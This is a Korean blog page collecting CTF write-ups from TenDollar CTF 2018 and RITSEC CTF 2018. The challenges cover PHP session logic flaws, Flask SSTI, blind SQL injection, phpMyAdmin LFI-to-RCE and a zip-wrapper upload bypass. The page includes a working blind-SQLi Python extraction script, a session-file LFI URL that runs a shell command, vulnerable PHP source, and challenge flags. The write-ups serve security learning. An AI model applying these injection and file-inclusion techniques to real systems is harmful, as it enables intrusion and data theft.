@$obj->deleteNode(@$_GET['key']);
unset($arr[@$_GET['key']]);
#@$_SESSION['link'][@$_SESSION['link']['name']."_tail"] = (int)@$_GET['key'] & 0x7fffffff;
#@$_SESSION['link'][@$_SESSION['link']['name']."_tail"]--;
@$_SESSION['link'][@$_SESSION['link']['name']."_list"] = json_encode(@$arr);
@die("<script type='text/javascript'>location.href='.';</script>");
}

해당 코드는 리스트를 삽입,우선삽입,삭제할때인데 해당 기능 사용시 
@$_SESSION['link'][@$_SESSION['link']['name']."_list"] = json_encode(@$arr);
요 코드들을 통해 @$_SESSION['link']['admin_only_list'] 요 값을 세팅할 수 있다.

그럼 이제 @$_SESSION['link']['name'] 요 값을 admin_only로 어떻게 입력할 수 있는지 보면 되는데 해당 방법은 아래 코드를 통해 볼 수 있다.

if (@$_POST['name']) {
@$_SESSION['link'] = @array('name' => @htmlspecialchars(@$_POST['name']), 'time' => @time());
@die("<script type='text/javascript'>location.href='.';</script>");
}

그럼 이제 아래와 같이 name란에 admin_only를 넣고 접속한 뒤 insert,insert(priority), delete 중 아무 기능이나 사용해보면 아래와 같이 플래그가 나온다.







Flag = TDCTF{easy_7o_solve123}

LinkedList - 2


해당 문제는 1버전과 동일한 소스코드이며 두번째 플래그가 나오는 조건은 아래와 같다.


if (@$_SESSION['link'][@$_SESSION['link']['name']."_tail"] > 0xff) {

unset($_SESSION['link']);

@die("<script type='text/javascript'>alert('Realrudaganya?!?!? The second flag is ".@addslashes(@$flag2)."');location.href='.';</script>");

}


@$_SESSION['link'][@$_SESSION['link']['name']."_tail"] 값이 255보다 크면되기 때문에 해당 값을 어떠한 방식으로 증가시킬 수 있는지 보면 된다.


아래 코드를 보면 @$_SESSION['link'][@$_SESSION['link']['name']."_tail"] 값은 insert 혹은 priority insert 기능 사용시 1씩 증가하는데 insert와 같은 경우 리스트 길이가 100이면 더이상 증가가 안되기 때문에 priority insert 기능을 255번이상 사용해주면 플래그가 나오게 된다.


if (@$_GET['p'] == 'insert' && isset($_GET['value'])) {

if (@$arr[100]) die("<script type='text/javascript'>alert('Too many linked-list! Get out!');location.href='.';</script>");

if (@$_SESSION['link'][@$_SESSION['link']['name']."_tail"] == 0) @$obj->insertFirst(@htmlspecialchars(@$_GET['value']));

else @$obj->insert(@$_GET['value'], @$_SESSION['link'][@$_SESSION['link']['name']."_tail"]);

@$_SESSION['link'][@$_SESSION['link']['name']."_tail"]++;

@$arr[@$_SESSION['link'][@$_SESSION['link']['name']."_tail"]-1] = @htmlspecialchars(@$_GET['value']);

@$_SESSION['link'][@$_SESSION['link']['name']."_list"] = @json_encode(@$arr);

die("<script type='text/javascript'>location.href='.';</script>");

}

if (@$_GET['p'] == 'insert_first' && isset($_GET['value'])) {

@$obj->insertFirst(@htmlspecialchars(@$_GET['value']));

@$_SESSION['link'][@$_SESSION['link']['name']."_tail"]++;

@$arr[0] = @htmlspecialchars(@$_GET['value']);

@$_SESSION['link'][@$_SESSION['link']['name']."_list"] = @json_encode(@$arr);

@die("<script type='text/javascript'>location.href='.';</script>");

}



Flag = TDCTF{easy_t0_solve412}

'CTF > Writeup' 카테고리의 다른 글

TenDollar CTF 2018 Kou  (0) 2018.12.01
TenDollar CTF 2018 XSS  (0) 2018.12.01
TenDollar CTF 2018 Ninja  (0) 2018.12.01
TenDollar CTF 2018 I'm Blind Not Deaf  (0) 2018.12.01
RITSEC CTF 2018 Archivr  (0) 2018.11.19
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

문제에 들어가보면 전형적인 Flask SSTI 문제이다.



요런류는 Filter만 적당히 Bypass해주면 되는데 일단 대충보니 __class__ , config 등의 몇몇 키워들과 특문과 같은 경우 [,]가 필터당하고 있었다. 


여기서 헤맸던게 ',"과 같은 경우 위의 필터들과 달리 필터메시지가 아닌 500 에러가 떨어져서 이게 필터당하는게 아닌 줄 알고 해당 문자들을 사용해 구문들을 넣어보다가 엄청 삽질을 했다.


그러다 그냥 ',"도 안쓰고 해봐야겠다 하고 request.args를 사용해서 아래와 같이 bypass해서 플래그 파일을 읽었다.





'CTF > Writeup' 카테고리의 다른 글

TenDollar CTF 2018 XSS  (0) 2018.12.01
TenDollar CTF 2018 LinkedList - 1,2  (0) 2018.12.01
TenDollar CTF 2018 I'm Blind Not Deaf  (0) 2018.12.01
RITSEC CTF 2018 Archivr  (0) 2018.11.19
RITSEC CTF 2018 Lazy Dev  (0) 2018.11.19
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

해당 CTF는 대회 종료 후 일주일정도 서버를 오픈해주신다는 글을 접하고 풀어보게 되었다.


해당 문제는 들어가보면 아래와 같이 간단한 SQLI가 나온다.


필터가 빡세게 걸려있지 않아서 아래 스크립트를 통해 일단 패스워드를 root 패스워드를 구해줬다.


import requests

def request(payload):
url = "http://blind.tendollar.kr:8100/"
params = {'pw':payload}
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'}
response = requests.get(url,params=params,headers=headers)
if "Hello root" in response.text:
return True
else:
return False

length = 0
for i in range(0,100):
payload = "' || id like 'root' && length(pw) like "+str(i)+"#"
if request(payload) == True:
length = i
break

print "Find root Pw Length[*] = " + str(length)

root_pw = ""
for i in range(1,length+1):
for j in range(32,127):
payload = "' || id like 'root' && if(ascii(right(left(pw,"+str(i)+"),1)) like "+str(j)+",1,0)#"
if request(payload) == True:
root_pw += chr(j)
break
print "Find root Pw[*] = " + root_pw


Find Admin Pw Length[*] = 8

Find Admin Pw[*] = 70801f6a


해당 패스워드를 입력해보면 아래와 같이 다음단계로 phpMyAdmin 4.8.0~4.8.1 버전에서 LFI를 하라고 하면서 root password를 알려준다.



제공받은 정보로 phpmyadmin에 들어가서 이제 lfi를 통해 flag파일을 읽으면 되는데 처음엔 load_file을 통해 읽어보려 했는데 File_priv는 살아있는데 secure_file_priv가 걸려있는지 파일들이 안읽혔다.


그래서 고민좀하다 phpmyadmin 버전을 명시해논게 걸려서 해당 버전 취약점을 찾아보니 해당 버전에서 LFI를 통한 RCE연계가 가능한 취약점이 나와있었다.


https://www.exploit-db.com/exploits/44924


취약점 자체는 어렵지 않았고 세션 내에 코드를 박은다음에 LFI가 터지는 곳에 세션파일을 땡겨온다는 컨셉이었다.


먼저 아래와 같이 php코드가 담긴 쿼리문을 실행해줬다.



이제 아래와 같이 세션파일을 땡겨끝내면 되겠다 생각했는데 세션 파일 저장 경로가 default가 아니라 파일이 안읽혔다.

http://blind.tendollar.kr:8100/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../var/lib/php/sessions/sess_c555dbe1a8845257149a06328eb0d3ee&0=ls


세션 저장 폴더의 경로가 변경되어있어 해당 경로를 찾기위해 php.ini를 읽으려했는데 경로를 잘 못찾고있다가 사이트 아래의 요런 문구가 있었다.



게싱으로 혹시하고 tmp폴더로 접근해봤더니 세션파일이 있었고 시스템 명령어 함수가 안막혀있어서 플래그 파일을 찾았다.




Flag = TDCTF{F_cong_L_gra_A_tu_G_ration}

'CTF > Writeup' 카테고리의 다른 글

TenDollar CTF 2018 LinkedList - 1,2  (0) 2018.12.01
TenDollar CTF 2018 Ninja  (0) 2018.12.01
RITSEC CTF 2018 Archivr  (0) 2018.11.19
RITSEC CTF 2018 Lazy Dev  (0) 2018.11.19
RITSEC CTF 2018 What a cute dog!  (0) 2018.11.19
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

RITSEC CTF 2018 Archivr

CTF/Writeup 2018. 11. 19. 22:14

일단 문제에 들어가보면 기본적으로 lfi가 터진다. 근데 파일명 뒤에 .php가 붙고 rfi류는 안터진다. lfi로 이걸 rce로 만들어야 하는데 일단 업로드 기능이 존재한다. 근데 업로드같은 경우 php랑 pht를 dat로 replace 시켜버린다. 


4096byte가지고 이후 문자 날리는형태랑 널류도 안먹혔고, 로그인 기능도 없어서 세션가지고 컨트롤도 불가능했다.


요럴때 쓸 수 있는게 일단 zip이랑 phar wrapper였는데 다행히도 이놈들이 활성화되어있어서 이걸로 문제를 풀 수 있었다.


대충 lfi로 소스코드 보고 업로드 되는 경로를 먼저 확인해봤다.


download.php


<?php

if ($_SERVER['REQUEST_METHOD'] == "POST") {

    $key = $_POST['key'];


    if (strpos($key, '.') !== false) {

        $key_parts = explode(".", $key);

        $hashed_key = md5(intval($key_parts[0])) . "." . $key_parts[1];


        $path = "uploads/" . md5($_SERVER['REMOTE_ADDR']) . "/" . $hashed_key;

        if (file_exists($path)) {

            header("Content-Disposition: attachment; filename=\"" . $key . "\"");

            die(file_get_contents($path));

        } else {

            $error = "File not found!";

        }

    } else {

        $error = "Invalid key!";

    }

}

?>


<html>

    <head>

        <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">

        <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>

        <style>

            body {

                padding-top: 70px;

            }

            

            .fineprint {

                font-size: 2px;

                color: red;

            }

        </style>

    </head>

    <body>

        <nav class="navbar navbar-inverse navbar-fixed-top">

            <div class="container">

                <div class="navbar-header">

                    <a class="navbar-brand" href="/">Archivr</a>

                </div>

                <div id="navbar" class="collapse navbar-collapse">

                    <ul class="nav navbar-nav">

                        <li><a href="index.php?page=home">Home</a></li>

                        <li><a href="index.php?page=upload">Upload</a></li>

                        <li class="active"><a href="index.php?page=download">Download</a></li>

                    </ul>

                </div>

            </div>

        </nav>

        <div class="container">

<?php

if (isset($error)) {

?>

            <div class="alert alert-danger" role="alert">

                <?php echo $error; ?>

            </div>

<?php

}

?>

            <h3>File Download</h3>

            <form action="index.php?page=download" method="post" enctype="multipart/form-data">

                <div class="col-xs-4">

                    <div class="form-group">

                        <label for="upload">Enter retrieval key</label>

                        <input type="text" class="form-control" id="key" name="key" placeholder="1234567">

                    </div>

                    <div class="form-group">

                        <button type="submit" class="btn btn-primary">Submit</button>

                    </div>

                </div>

            </form>

        </div>

    </body>

</html>




upload.php


<?php

if ($_SERVER['REQUEST_METHOD'] === 'POST') {

    if ($_FILES['upload']['size'] > 5000) { //max 5KB

        die("File too large!");

    }

    $filename = $_FILES['upload']['name'];



    $upload_time = time();

    $upload_dir = "uploads/" . md5($_SERVER['REMOTE_ADDR']) . "/";


    $ext = "";

    if (strpos($filename, '.') !== false) {

        $f_ext = explode(".", $filename)[1];

        if (ctype_alnum($f_ext) && stripos($f_ext, "php") === false && stripos($f_ext, "pht") === false) {

            $ext = "." . $f_ext;

        } else {

            $ext = ".dat";

        }

    } else {

        $ext = ".dat";

    }


    $upload_path = $upload_dir . md5($upload_time) . $ext;

    mkdir($upload_dir, 0770, true);


    //Enforce maximum of 10 files

    $dir = new DirLister($upload_dir);

    if ($dir->getCount() >= 10) {

        unlink($upload_dir . $dir->getOldestFile());

    }


    move_uploaded_file($_FILES['upload']['tmp_name'], $upload_path);

    $key = $upload_time . $ext;

}

?>


<html>

    <head>

        <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">

        <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>

        <style>

            body {

                padding-top: 70px;

            }

            

            .fineprint {

                font-size: 2px;

                color: red;

            }

        </style>

    </head>

    <body>

        <nav class="navbar navbar-inverse navbar-fixed-top">

            <div class="container">

                <div class="navbar-header">

                    <a class="navbar-brand" href="/">Archivr</a>

                </div>

                <div id="navbar" class="collapse navbar-collapse">

                    <ul class="nav navbar-nav">

                        <li><a href="index.php?page=home">Home</a></li>

                        <li class="active"><a href="index.php?page=upload">Upload</a></li>

                        <li><a href="index.php?page=download">Download</a></li>

                    </ul>

                </div>

            </div>

        </nav>

        <div class="container">

<?php

if (isset($key)) {

?>

            <div class="alert alert-success" role="alert">

                File uploaded! Retrieval key: <strong><?php echo $key; ?></strong>

            </div>

<?php

}

?>

            <h3>File Upload</h3>

            <form action="index.php?page=upload" method="post" enctype="multipart/form-data">

                <div class="col-xs-4">

                    <div class="form-group">

                        <label for="upload">Select a &lt;5KB file</label>

                        <input type="file" class="form-control-file" id="upload" name="upload">

                    </div>

                    <div class="form-group">

                        <button type="submit" class="btn btn-primary">Upload</button>

                    </div>

                </div>

            </form>

        </div>

    </body>

</html>



경로 중에 문제되는게 $_SERVER['REMOTE_ADDR'] 요놈이었는데 이 문제에서는 이걸 구할 방법이 없어보였다. 근데 보니까 웹 문제가 다 같은 도메인에 포트만 다르길래 다른 문제중에 RCE 됬던 쪽에서 이 값을 구해서 사용했다.


이제 필요한건 다 구했고 3.php 파일에 먼저 php 테스트 구문 넣어놓고 압축한뒤 업로드를 했다.


그 다음 해당 코드를 통해 확인한 파일 경로를 zip wrapper에 사용해줬더니 정상적으로 php코드가 lfi되는걸 볼 수 있었다.






시스템 명령어함수가 따로 disable되어있지 않아서 아래와 같이 명령어 실행이 가능했다.




대충 플래그 파일찾아서 출력해보니 플래그가 있었다.

RITSEC{uns3r1al1z3_4LL_th3_th1ng5}

'CTF > Writeup' 카테고리의 다른 글

TenDollar CTF 2018 Ninja  (0) 2018.12.01
TenDollar CTF 2018 I'm Blind Not Deaf  (0) 2018.12.01
RITSEC CTF 2018 Lazy Dev  (0) 2018.11.19
RITSEC CTF 2018 What a cute dog!  (0) 2018.11.19
RITSEC CTF 2018 Crazy Train  (0) 2018.11.19
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

문제에 들어가보면 아래와 같이 링크가 있고 링크에 들어가보면 또 링크가 쭉쭉 나오는 형태이다. 모든 링크를 크롤링해서 소스 내에 의미있는게 있나 봤더니 요놈이 나왔다.



주석에 있는 경로를 들어가보니 아래와 같이 magic 파라미터명이 존재하는걸 알 수 있었다.



해당 파라미터에 이것저것 넣어보다 아래와 같이 ../를 넣었을 때 필터당하는걸 볼 수 있었다. 대충 파일 다운로드나 파일 인클루전정도겠다 생각하고 이것저것 넣어보니 php://input으로 rfi가 터지는 걸 알 수 있었다.



기본적인 시스템 명령어 실행 함수들이 안막혀있어서 그냥 플래그 파일 찾아서 내용을 보니 플래그가 나왔다.



 

'CTF > Writeup' 카테고리의 다른 글

TenDollar CTF 2018 I'm Blind Not Deaf  (0) 2018.12.01
RITSEC CTF 2018 Archivr  (0) 2018.11.19
RITSEC CTF 2018 What a cute dog!  (0) 2018.11.19
RITSEC CTF 2018 Crazy Train  (0) 2018.11.19
SCTF 2018 dingJMax  (0) 2018.10.30
블로그 이미지

JeonYoungSin

메모 기록용 공간

,